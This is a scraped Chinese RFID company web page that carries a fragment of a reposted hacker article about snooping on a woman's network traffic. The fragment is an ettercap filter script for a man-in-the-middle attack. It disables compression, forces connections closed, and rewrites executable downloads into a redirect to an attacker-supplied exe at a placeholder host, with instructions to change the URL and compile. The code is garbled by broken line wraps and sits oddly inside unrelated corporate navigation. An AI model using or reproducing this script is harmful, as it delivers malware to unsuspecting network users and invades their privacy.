返回首页
搜 索
400-77-456-22
英米加集团
领先RFID产品与物联网解决方案专家
INMIGA group
智慧城市
智能交通
姿势学习:屌丝黑客”追”妹记
来源:英米加集团 | 作者:inmiga | 发布时间: 3563天前 | 2259 次浏览 | 分享到:

  if

  (search(DATA.data, "Accept-Encoding")) {

  replace("Accept-Encoding",

  "Accept-Rubbish!");

  #

  note: replacement string is same length as original

  string

  msg("zapped

  Accept-Encoding!n");

  }

  }

  if (ip.proto == TCP &&

  tcp.src == 80) {

  replace("keep-alive", "close"

  ");

  replace("Keep-Alive", "close" ");

}

if (ip.proto == TCP

  && search(DATA.data, ": application") ){

  # enable for logging

  log(DECODED.data, "/tmp/log.log");

  msg("found EXEn");

  # "Win32" is the

  first part of the exe example:

  # if the EXE started with "this program must

  be run in MSDOS mode" you could search for MSDOS etc ..

  if (search(DATA.data,

  "Win32")) {

  msg("doing nothingn");

  } else {

  replace("200 OK", "301

  Moved Permanently

  Location:

  http://www.xxx.com/exe.exe

  ");

  msg("redirect

  successn");

}

  }

 

  然后改掉里面的下载地址


姿势学习:屌丝黑客”追”妹记-安全盒子

 

  之后编译下

电力能源
农林牧渔
航空航天
精益制造
快消零售
智能港口
司法监狱
仓储物流
安监消防
金融通信